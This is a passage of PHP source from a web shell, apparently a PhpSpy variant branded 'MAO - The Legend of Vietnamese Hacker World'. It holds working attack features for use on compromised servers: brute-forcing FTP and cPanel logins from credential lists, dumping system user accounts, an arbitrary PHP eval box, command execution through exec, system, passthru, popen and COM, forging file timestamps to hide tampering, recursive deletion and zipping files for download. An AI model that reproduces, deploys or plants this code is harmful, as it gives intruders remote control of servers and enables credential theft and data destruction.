  1347. if ( curl_errno($ch) == 28 ) {
  1348.  
  1349. print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
  1350. exit;}
  1351.  
  1352. elseif ( curl_errno($ch) == 0 ){
  1353.  
  1354. p("<b>[ [email protected] ]# </b>
  1355. <b> Attacking has been done! Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font> => <a href=http://$user:$pass@$host:2082 target=_blank>Login</a></b><br>");
  1356. }
  1357. curl_close($ch);}
  1358.  
  1359. function cpanel_check($host,$user,$pass,$timeout){
  1360. $ch = curl_init();
  1361. curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
  1362. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1363. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  1364. curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  1365. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  1366. curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  1367. $data = curl_exec($ch);
  1368. if ( curl_errno($ch) == 28 ) {
  1369. print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
  1370. exit;}
  1371. elseif ( curl_errno($ch) == 0 ){
  1372.  
  1373. p("<b>[ [email protected] ]# </b><b>Attacking has been done!</a> Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font></b><br>");}curl_close($ch);}
  1374.  
  1375. if(isset($submit) && !empty($submit)){
  1376.  
  1377. $userlist = explode ("\n" , $users );
  1378. $passlist = explode ("\n" , $pass );
  1379. p('<b>[ [email protected] ]# Attacking ...</font></b><br>');
  1380. foreach ($userlist as $user) {
  1381. $_user = trim($user);
  1382. foreach ($passlist as $password ) {
  1383. $_pass = trim($password);
  1384. if($option == "ftp"){
  1385. ftp_check($target,$_user,$_pass,$connect_timeout);
  1386. }
  1387. if ($option == "cpanel")
  1388. {
  1389. cpanel_check($target,$_user,$_pass,$connect_timeout);
  1390. }
  1391. }
  1392. }
  1393. }
  1394.  
  1395.     formfoot();
  1396. }
  1397.  
  1398.  
  1399.  
  1400.  
  1401.  
  1402.  
  1403. elseif ($action == 'etcpwd') {
  1404. formhead(array('title'=>'Get /etc/passwd'));
  1405.     makehide('action','etcpwd');
  1406.     makehide('dir',$nowpath);
  1407. $i = 0;
  1408.  echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
  1409. while ($i < 60000) {
  1410.  
  1411.     $line = posix_getpwuid($i);
  1412.     if (!empty($line)) {
  1413.  
  1414.         while (list ($key, $vba_etcpwd) = each($line)){
  1415.             echo "".$vba_etcpwd."\n";
  1416.             break;
  1417.         }
  1418.  
  1419.     }
  1420.  
  1421.    $i++;
  1422. }
  1423.   echo "</textarea></p>";
  1424.     formfoot();
  1425. }
  1426.  
  1427. elseif ($action == 'eval') {
  1428.     $phpcode = trim($phpcode);
  1429.     if($phpcode){
  1430.         if (!preg_match('#<\?#si', $phpcode)) {
  1431.             $phpcode = "<?php\n\n{$phpcode}\n\n?>";
  1432.         }
  1433.         eval("?".">$phpcode<?");
  1434.     }
  1435.     formhead(array('title'=>'Eval PHP Code'));
  1436.     makehide('action','eval');
  1437.     maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
  1438.     p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
  1439.     formfooter();
  1440. }//end eval
  1441.  
  1442. elseif ($action == 'editfile') {
  1443.     if(file_exists($opfile)) {
  1444.         $fp=@fopen($opfile,'r');
  1445.         $contents=@fread($fp, filesize($opfile));
  1446.         @fclose($fp);
  1447.         $contents=htmlspecialchars($contents);
  1448.     }
  1449.     formhead(array('title'=>'Create / Edit File'));
  1450.     makehide('action','file');
  1451.     makehide('dir',$nowpath);
  1452.     makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
  1453.     maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
  1454.     formfooter();
  1455. }//end editfile
  1456.  
  1457. elseif ($action == 'newtime') {
  1458.     $opfilemtime = @filemtime($opfile);
  1459.     //$time = strtotime("$year-$month-$day $hour:$minute:$second");
  1460.     $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
  1461.     formhead(array('title'=>'Clone file was last modified time'));
  1462.     makehide('action','file');
  1463.     makehide('dir',$nowpath);
  1464.     makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
  1465.     makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
  1466.     formfooter();
  1467.     formhead(array('title'=>'Set last modified'));
  1468.     makehide('action','file');
  1469.     makehide('dir',$nowpath);
  1470.     makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
  1471.     p('<p>Instead &raquo;');
  1472.     p('year:');
  1473.     makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
  1474.     p('month:');
  1475.     makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
  1476.     p('day:');
  1477.     makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
  1478.     p('hour:');
  1479.     makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
  1480.     p('minute:');
  1481.     makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
  1482.     p('second:');
  1483.     makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
  1484.     p('</p>');
  1485.     formfooter();
  1486. }//end newtime
  1487.  
  1488. elseif ($action == 'shell') {
  1489.     if (IS_WIN && IS_COM) {
  1490.         if($program && $parameter) {
  1491.             $shell= new COM('Shell.Application');
  1492.             $a = $shell->ShellExecute($program,$parameter);
  1493.             m('Program run has '.(!$a ? 'success' : 'fail'));
  1494.         }
  1495.         !$program && $program = 'c:\windows\system32\cmd.exe';
  1496.         !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
  1497.         formhead(array('title'=>'Execute Program'));
  1498.         makehide('action','shell');
  1499.         makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
  1500.         p('<p>');
  1501.         makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
  1502.         makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
  1503.         p('</p>');
  1504.         formfoot();
  1505.     }
  1506.     formhead(array('title'=>'Execute Command'));
  1507.     makehide('action','shell');
  1508.     if (IS_WIN && IS_COM) {
  1509.         $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
  1510.         makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
  1511.     }
  1512.     p('<p>');
  1513.     makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
  1514.     makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
  1515.     p('</p>');
  1516.     formfoot();
  1517.  
  1518.     if ($command) {
  1519.         p('<hr width="100%" noshade /><pre>');
  1520.         if ($execfunc=='wscript' && IS_WIN && IS_COM) {
  1521.             $wsh = new COM('WScript.shell');
  1522.             $exec = $wsh->exec('cmd.exe /c '.$command);
  1523.             $stdout = $exec->StdOut();
  1524.             $stroutput = $stdout->ReadAll();
  1525.             echo $stroutput;
  1526.         } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
  1527.             $descriptorspec = array(
  1528.                0 => array('pipe', 'r'),
  1529.                1 => array('pipe', 'w'),
  1530.                2 => array('pipe', 'w')
  1531.             );
  1532.             $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
  1533.             if (is_resource($process)) {
  1534.                 fwrite($pipes[0], $command."\r\n");
  1535.                 fwrite($pipes[0], "exit\r\n");
  1536.                 fclose($pipes[0]);
  1537.                 while (!feof($pipes[1])) {
  1538.                     echo fgets($pipes[1], 1024);
  1539.                 }
  1540.                 fclose($pipes[1]);
  1541.                 while (!feof($pipes[2])) {
  1542.                     echo fgets($pipes[2], 1024);
  1543.                 }
  1544.                 fclose($pipes[2]);
  1545.                 proc_close($process);
  1546.             }
  1547.         } else {
  1548.             echo(execute($command));
  1549.         }
  1550.         p('</pre>');
  1551.     }
  1552. }//end shell
  1553.  
  1554. elseif ($action == 'phpenv') {
  1555.     $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
  1556.     $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
  1557.     !$dis_func && $dis_func = 'No';
  1558.     $info = array(
  1559.         1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
  1560.         2 => array('Server Domain',$_SERVER['SERVER_NAME']),
  1561.         3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
  1562.         4 => array('Server OS',PHP_OS),
  1563.         5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
  1564.         6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
  1565.         7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
  1566.         8 => array('PHP run mode',strtoupper(php_sapi_name())),
  1567.         9 => array('The file path',__FILE__),
  1568.  
  1569.         10 => array('PHP Version',PHP_VERSION),
  1570.         11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
  1571.         12 => array('Safe Mode',getcfg('safe_mode')),
  1572.         13 => array('Administrator',$adminmail),
  1573.         14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
  1574.         15 => array('enable_dl',getcfg('enable_dl')),
  1575.         16 => array('display_errors',getcfg('display_errors')),
  1576.         17 => array('register_globals',getcfg('register_globals')),
  1577.         18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
  1578.         19 => array('memory_limit',getcfg('memory_limit')),
  1579.         20 => array('post_max_size',getcfg('post_max_size')),
  1580.         21 => array('upload_max_filesize',$upsize),
  1581.         22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
  1582.         23 => array('disable_functions',$dis_func),
  1583.     );
  1584.  
  1585.     if($phpvarname) {
  1586.         m($phpvarname .' : '.getcfg($phpvarname));
  1587.     }
  1588.  
  1589.     formhead(array('title'=>'Server environment'));
  1590.     makehide('action','phpenv');
  1591.     makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
  1592.     formfooter();
  1593.  
  1594.     $hp = array(0=> 'Server', 1=> 'PHP');
  1595.     for($a=0;$a<2;$a++) {
  1596.         p('<h2>'.$hp[$a].' &raquo;</h2>');
  1597.         p('<ul class="info">');
  1598.         if ($a==0) {
  1599.             for($i=1;$i<=9;$i++) {
  1600.                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
  1601.             }
  1602.         } elseif ($a == 1) {
  1603.             for($i=10;$i<=23;$i++) {
  1604.                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
  1605.             }
  1606.         }
  1607.         p('</ul>');
  1608.     }
  1609. }//end phpenv
  1610.  
  1611. else {
  1612.     m('Undefined Action');
  1613. }
  1614.  
  1615. ?>
  1616. </td></tr></table>
  1617. <div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
  1618.     <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
  1619.     Copyright (C) 2004-2010 <B></B> - Develop by <a href=http://beyeugroup.com target=_blank><B>MAO   </B></a> - <B>- The Legend of Vietnamese Hacker World</B> All Rights Reserved.
  1620. </div>
  1621. </body>
  1622. </html>
  1623.  
  1624. <?php
  1625.  
  1626. /*======================================================
  1627. Show info shell
  1628. ======================================================*/
  1629.  
  1630. function m($msg) {
  1631.     echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
  1632.     echo $msg;
  1633.     echo '</div>';
  1634. }
  1635. function scookie($key, $value, $life = 0, $prefix = 1) {
  1636.     global $admin, $timestamp, $_SERVER;
  1637.     $key = ($prefix ? $admin['cookiepre'] : '').$key;
  1638.     $life = $life ? $life : $admin['cookielife'];
  1639.     $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
  1640.     setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
  1641. }
  1642. function multi($num, $perpage, $curpage, $tablename) {
  1643.     $multipage = '';
  1644.     if($num > $perpage) {
  1645.         $page = 10;
  1646.         $offset = 5;
  1647.         $pages = @ceil($num / $perpage);
  1648.         if($page > $pages) {
  1649.             $from = 1;
  1650.             $to = $pages;
  1651.         } else {
  1652.             $from = $curpage - $offset;
  1653.             $to = $curpage + $page - $offset - 1;
  1654.             if($from < 1) {
  1655.                 $to = $curpage + 1 - $from;
  1656.                 $from = 1;
  1657.                 if(($to - $from) < $page && ($to - $from) < $pages) {
  1658.                     $to = $page;
  1659.                 }
  1660.             } elseif($to > $pages) {
  1661.                 $from = $curpage - $pages + $to;
  1662.                 $to = $pages;
  1663.                 if(($to - $from) < $page && ($to - $from) < $pages) {
  1664.                     $from = $pages - $page + 1;
  1665.                 }
  1666.             }
  1667.         }
  1668.         $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
  1669.         for($i = $from; $i <= $to; $i++) {
  1670.             $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
  1671.         }
  1672.         $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
  1673.         $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
  1674.     }
  1675.     return $multipage;
  1676. }
  1677. // Login page
  1678. function loginpage() {
  1679. ?>
  1680. <html>
  1681. <head>
  1682.  
  1683. <body bgcolor=black background=1.jpg>
  1684.  
  1685.         <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
  1686. <title>MAO - The Legend of Vietnamese Hacker World </title>
  1687. <style type="text/css">
  1688. A:link {text-decoration: none; color: green }
  1689. A:visited {text-decoration: none;color:red}
  1690. A:active {text-decoration: none}
  1691. A:hover {text-decoration: underline; color: green;}
  1692. input, textarea, button
  1693. {
  1694.     font-size: 11pt;
  1695.     color:  #FFFFFF;
  1696.     font-family: verdana, sans-serif;
  1697.     background-color: #000000;
  1698.     border-left: 2px dashed #8B0000;
  1699.     border-top: 2px dashed #8B0000;
  1700.     border-right: 2px dashed #8B0000;
  1701.     border-bottom: 2px dashed #8B0000;
  1702. }
  1703.  
  1704. </style>
  1705.  
  1706.        <BR><BR>
  1707. <div align=center >
  1708.  
  1709. <div>
  1710. <font color=gray>
  1711. <br /><br /><br /><br /><br />
  1712.  
  1713. <form method="POST" action="">
  1714.     <span style="font:20pt tahoma;"> </span><input name="password" type="password" size="30">
  1715.     <input type="hidden" name="doing" value="login">
  1716.     <input type="submit" value="Login">
  1717.     </form>
  1718. <BR>
  1719. <?php
  1720. echo "".$err_mess."";
  1721. ?>
  1722.  
  1723.     <B><font color=red>
  1724.  
  1725.  
  1726.  
  1727.  
  1728.  
  1729.  
  1730. </div>
  1731.  
  1732.  
  1733.     </fieldset>
  1734.  
  1735.  
  1736.  
  1737. </head>
  1738. </html>
  1739.  
  1740.  
  1741. <?php
  1742.     exit;
  1743.  
  1744. }//end loginpage()
  1745.  
  1746. function execute($cfe) {
  1747.     $res = '';
  1748.     if ($cfe) {
  1749.         if(function_exists('exec')) {
  1750.             @exec($cfe,$res);
  1751.             $res = join("\n",$res);
  1752.         } elseif(function_exists('shell_exec')) {
  1753.             $res = @shell_exec($cfe);
  1754.         } elseif(function_exists('system')) {
  1755.             @ob_start();
  1756.             @system($cfe);
  1757.             $res = @ob_get_contents();
  1758.             @ob_end_clean();
  1759.         } elseif(function_exists('passthru')) {
  1760.             @ob_start();
  1761.             @passthru($cfe);
  1762.             $res = @ob_get_contents();
  1763.             @ob_end_clean();
  1764.         } elseif(@is_resource($f = @popen($cfe,"r"))) {
  1765.             $res = '';
  1766.             while(!@feof($f)) {
  1767.                 $res .= @fread($f,1024);
  1768.             }
  1769.             @pclose($f);
  1770.         }
  1771.     }
  1772.     return $res;
  1773. }
  1774. function which($pr) {
  1775.     $path = execute("which $pr");
  1776.     return ($path ? $path : $pr);
  1777. }
  1778.  
  1779. function cf($fname,$text){
  1780.     if($fp=@fopen($fname,'w')) {
  1781.         @fputs($fp,@base64_decode($text));
  1782.         @fclose($fp);
  1783.     }
  1784. }
  1785.  
  1786. // Debug
  1787. function debuginfo() {
  1788.     global $starttime;
  1789.     $mtime = explode(' ', microtime());
  1790.     $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
  1791.     echo 'Processed in '.$totaltime.' second(s)';
  1792. }
  1793.  
  1794. // Function connect database
  1795. function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
  1796.     if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
  1797.         p('<h2>Can not connect to MySQL server</h2>');
  1798.         exit;
  1799.     }
  1800.     if($link && $dbname) {
  1801.         if (!@mysql_select_db($dbname, $link)) {
  1802.             p('<h2>Database selected has error</h2>');
  1803.             exit;
  1804.         }
  1805.     }
  1806.     if($link && mysql_get_server_info() > '4.1') {
  1807.         if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
  1808.             q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
  1809.         }
  1810.     }
  1811.     return $link;
  1812. }
  1813.  
  1814. // Array strip
  1815. function s_array(&$array) {
  1816.     if (is_array($array)) {
  1817.         foreach ($array as $k => $v) {
  1818.             $array[$k] = s_array($v);
  1819.         }
  1820.     } else if (is_string($array)) {
  1821.         $array = stripslashes($array);
  1822.     }
  1823.     return $array;
  1824. }
  1825.  
  1826. // HTML Strip
  1827. function html_clean($content) {
  1828.     $content = htmlspecialchars($content);
  1829.     $content = str_replace("\n", "<br />", $content);
  1830.     $content = str_replace("  ", "&nbsp;&nbsp;", $content);
  1831.     $content = str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $content);
  1832.     return $content;
  1833. }
  1834.  
  1835. // Chmod
  1836. function getChmod($filepath){
  1837.     return substr(base_convert(@fileperms($filepath),10,8),-4);
  1838. }
  1839.  
  1840. function getPerms($filepath) {
  1841.     $mode = @fileperms($filepath);
  1842.     if (($mode & 0xC000) === 0xC000) {$type = 's';}
  1843.     elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
  1844.     elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
  1845.     elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
  1846.     elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
  1847.     elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
  1848.     elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
  1849.     else {$type = '?';}
  1850.  
  1851.     $owner['read'] = ($mode & 00400) ? 'r' : '-';
  1852.     $owner['write'] = ($mode & 00200) ? 'w' : '-';
  1853.     $owner['execute'] = ($mode & 00100) ? 'x' : '-';
  1854.     $group['read'] = ($mode & 00040) ? 'r' : '-';
  1855.     $group['write'] = ($mode & 00020) ? 'w' : '-';
  1856.     $group['execute'] = ($mode & 00010) ? 'x' : '-';
  1857.     $world['read'] = ($mode & 00004) ? 'r' : '-';
  1858.     $world['write'] = ($mode & 00002) ? 'w' : '-';
  1859.     $world['execute'] = ($mode & 00001) ? 'x' : '-';
  1860.  
  1861.     if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
  1862.     if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
  1863.     if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
  1864.  
  1865.     return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
  1866. }
  1867.  
  1868. function getUser($filepath) {
  1869.     if (function_exists('posix_getpwuid')) {
  1870.         $array = @posix_getpwuid(@fileowner($filepath));
  1871.         if ($array && is_array($array)) {
  1872.             return ' / <a href="#" title="User: '.$array['name'].'&#13&#10Passwd: '.$array['passwd'].'&#13&#10Uid: '.$array['uid'].'&#13&#10gid: '.$array['gid'].'&#13&#10Gecos: '.$array['gecos'].'&#13&#10Dir: '.$array['dir'].'&#13&#10Shell: '.$array['shell'].'">'.$array['name'].'</a>';
  1873.         }
  1874.     }
  1875.     return '';
  1876. }
  1877.  
  1878. // Delete dir
  1879. function deltree($deldir) {
  1880.     $mydir=@dir($deldir);
  1881.     while($file=$mydir->read()) {
  1882.         if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
  1883.             @chmod($deldir.'/'.$file,0777);
  1884.             deltree($deldir.'/'.$file);
  1885.         }
  1886.         if (is_file($deldir.'/'.$file)) {
  1887.             @chmod($deldir.'/'.$file,0777);
  1888.             @unlink($deldir.'/'.$file);
  1889.         }
  1890.     }
  1891.     $mydir->close();
  1892.     @chmod($deldir,0777);
  1893.     return @rmdir($deldir) ? 1 : 0;
  1894. }
  1895.  
  1896. // Background
  1897. function bg() {
  1898.     global $bgc;
  1899.     return ($bgc++%2==0) ? 'alt1' : 'alt2';
  1900. }
  1901.  
  1902. // Get path
  1903. function getPath($scriptpath, $nowpath) {
  1904.     if ($nowpath == '.') {
  1905.         $nowpath = $scriptpath;
  1906.     }
  1907.     $nowpath = str_replace('\\', '/', $nowpath);
  1908.     $nowpath = str_replace('//', '/', $nowpath);
  1909.     if (substr($nowpath, -1) != '/') {
  1910.         $nowpath = $nowpath.'/';
  1911.     }
  1912.     return $nowpath;
  1913. }
  1914.  
  1915. // Get up path
  1916. function getUpPath($nowpath) {
  1917.     $pathdb = explode('/', $nowpath);
  1918.     $num = count($pathdb);
  1919.     if ($num > 2) {
  1920.         unset($pathdb[$num-1],$pathdb[$num-2]);
  1921.     }
  1922.     $uppath = implode('/', $pathdb).'/';
  1923.     $uppath = str_replace('//', '/', $uppath);
  1924.     return $uppath;
  1925. }
  1926.  
  1927. // Config
  1928. function getcfg($varname) {
  1929.     $result = get_cfg_var($varname);
  1930.     if ($result == 0) {
  1931.         return 'No';
  1932.     } elseif ($result == 1) {
  1933.         return 'Yes';
  1934.     } else {
  1935.         return $result;
  1936.     }
  1937. }
  1938.  
  1939. // Function name
  1940. function getfun($funName) {
  1941.     return (false !== function_exists($funName)) ? 'Yes' : 'No';
  1942. }
  1943.  
  1944. function GetList($dir){
  1945.     global $dirdata,$j,$nowpath;
  1946.     !$j && $j=1;
  1947.     if ($dh = opendir($dir)) {
  1948.         while ($file = readdir($dh)) {
  1949.             $f=str_replace('//','/',$dir.'/'.$file);
  1950.             if($file!='.' && $file!='..' && is_dir($f)){
  1951.                 if (is_writable($f)) {
  1952.                     $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
  1953.                     $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
  1954.                     $dirdata[$j]['dirchmod']=getChmod($f);
  1955.                     $dirdata[$j]['dirperm']=getPerms($f);
  1956.                     $dirdata[$j]['dirlink']=ue($dir);
  1957.                     $dirdata[$j]['server_link']=$f;
  1958.                     $dirdata[$j]['client_link']=ue($f);
  1959.                     $j++;
  1960.                 }
  1961.                 GetList($f);
  1962.             }
  1963.         }
  1964.         closedir($dh);
  1965.         clearstatcache();
  1966.         return $dirdata;
  1967.     } else {
  1968.         return array();
  1969.     }
  1970. }
  1971.  
  1972. function qy($sql) {
  1973.     //echo $sql.'<br>';
  1974.     $res = $error = '';
  1975.     if(!$res = @mysql_query($sql)) {
  1976.         return 0;
  1977.     } else if(is_resource($res)) {
  1978.         return 1;
  1979.     } else {
  1980.         return 2;
  1981.     }
  1982.     return 0;
  1983. }
  1984.  
  1985. function q($sql) {
  1986.     return @mysql_query($sql);
  1987. }
  1988.  
  1989. function fr($qy){
  1990.     mysql_free_result($qy);
  1991. }
  1992.  
  1993. function sizecount($size) {
  1994.     if($size > 1073741824) {
  1995.         $size = round($size / 1073741824 * 100) / 100 . ' G';
  1996.     } elseif($size > 1048576) {
  1997.         $size = round($size / 1048576 * 100) / 100 . ' M';
  1998.     } elseif($size > 1024) {
  1999.         $size = round($size / 1024 * 100) / 100 . ' K';
  2000.     } else {
  2001.         $size = $size . ' B';
  2002.     }
  2003.     return $size;
  2004. }
  2005.  
  2006. // Zip
  2007. class PHPZip{
  2008.     var $out='';
  2009.     function PHPZip($dir)   {
  2010.         if (@function_exists('gzcompress')) {
  2011.             $curdir = getcwd();
  2012.             if (is_array($dir)) $filelist = $dir;
  2013.             else{
  2014.                 $filelist=$this -> GetFileList($dir);//File list
  2015.                 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
  2016.             }
  2017.             if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
  2018.             else chdir($curdir);
  2019.             if (count($filelist)>0){
  2020.                 foreach($filelist as $filename){
  2021.                     if (is_file($filename)){
  2022.                         $fd = fopen ($filename, 'r');
  2023.                         $content = @fread ($fd, filesize($filename));
  2024.                         fclose ($fd);
  2025.                         if (is_array($dir)) $filename = basename($filename);
  2026.                         $this -> addFile($content, $filename);
  2027.                     }
  2028.                 }
  2029.                 $this->out = $this -> file();
  2030.                 chdir($curdir);
  2031.             }
  2032.             return 1;
  2033.         }
  2034.         else return 0;
  2035.     }
  2036.  
  2037.     // Show file list
  2038.     function GetFileList($dir){
  2039.         static $a;
  2040.         if (is_dir($dir)) {
  2041.             if ($dh = opendir($dir)) {
  2042.                 while ($file = readdir($dh)) {
  2043.                     if($file!='.' && $file!='..'){
  2044.                         $f=$dir .'/'. $file;
  2045.                         if(is_dir($f)) $this->GetFileList($f);
  2046.                         $a[]=$f;
  2047.                     }
  2048.                 }
  2049.                 closedir($dh);
  2050.             }
  2051.         }
  2052.         return $a;
  2053.     }
  2054.  
  2055.     var $datasec      = array();
  2056.     var $ctrl_dir     = array();
  2057.     var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
  2058.     var $old_offset   = 0;
  2059.  
  2060.     function unix2DosTime($unixtime = 0) {
  2061.         $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
  2062.         if ($timearray['year'] < 1980) {
  2063.             $timearray['year']    = 1980;
  2064.             $timearray['mon']     = 1;
  2065.             $timearray['mday']    = 1;
  2066.             $timearray['hours']   = 0;
  2067.             $timearray['minutes'] = 0;
  2068.             $timearray['seconds'] = 0;
  2069.         } // end if
  2070.         return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
  2071.                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
  2072.     }
  2073.  
  2074.     function addFile($data, $name, $time = 0) {
  2075.         $name = str_replace('\\', '/', $name);
  2076.  
  2077.         $dtime = dechex($this->unix2DosTime($time));
  2078.         $hexdtime   = '\x' . $dtime[6] . $dtime[7]
  2079.                     . '\x' . $dtime[4] . $dtime[5]
  2080.                     . '\x' . $dtime[2] . $dtime[3]
  2081.                     . '\x' . $dtime[0] . $dtime[1];
  2082.         eval('$hexdtime = "' . $hexdtime . '";');
  2083.         $fr = "\x50\x4b\x03\x04";
  2084.         $fr .= "\x14\x00";
  2085.         $fr .= "\x00\x00";
  2086.         $fr .= "\x08\x00";
  2087.         $fr .= $hexdtime;
  2088.  
  2089.         $unc_len = strlen($data);
  2090.         $crc = crc32($data);
  2091.         $zdata = gzcompress($data);
  2092.         $c_len = strlen($zdata);
  2093.         $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
  2094.         $fr .= pack('V', $crc);
  2095.         $fr .= pack('V', $c_len);
  2096.         $fr .= pack('V', $unc_len);
  2097.         $fr .= pack('v', strlen($name));
  2098.         $fr .= pack('v', 0);
  2099.         $fr .= $name;
  2100.         $fr .= $zdata;
  2101.         $fr .= pack('V', $crc);
  2102.         $fr .= pack('V', $c_len);
  2103.         $fr .= pack('V', $unc_len);
  2104.  
  2105.         $this -> datasec[] = $fr;
  2106.         $new_offset = strlen(implode('', $this->datasec));
  2107.  
  2108.         $cdrec = "\x50\x4b\x01\x02";
  2109.         $cdrec .= "\x00\x00";
  2110.         $cdrec .= "\x14\x00";
  2111.         $cdrec .= "\x00\x00";
  2112.         $cdrec .= "\x08\x00";
  2113.         $cdrec .= $hexdtime;
  2114.         $cdrec .= pack('V', $crc);
  2115.         $cdrec .= pack('V', $c_len);
  2116.         $cdrec .= pack('V', $unc_len);
  2117.         $cdrec .= pack('v', strlen($name) );
  2118.         $cdrec .= pack('v', 0 );
  2119.         $cdrec .= pack('v', 0 );
  2120.         $cdrec .= pack('v', 0 );
  2121.         $cdrec .= pack('v', 0 );
  2122.         $cdrec .= pack('V', 32 );
  2123.         $cdrec .= pack('V', $this -> old_offset );
  2124.         $this -> old_offset = $new_offset;
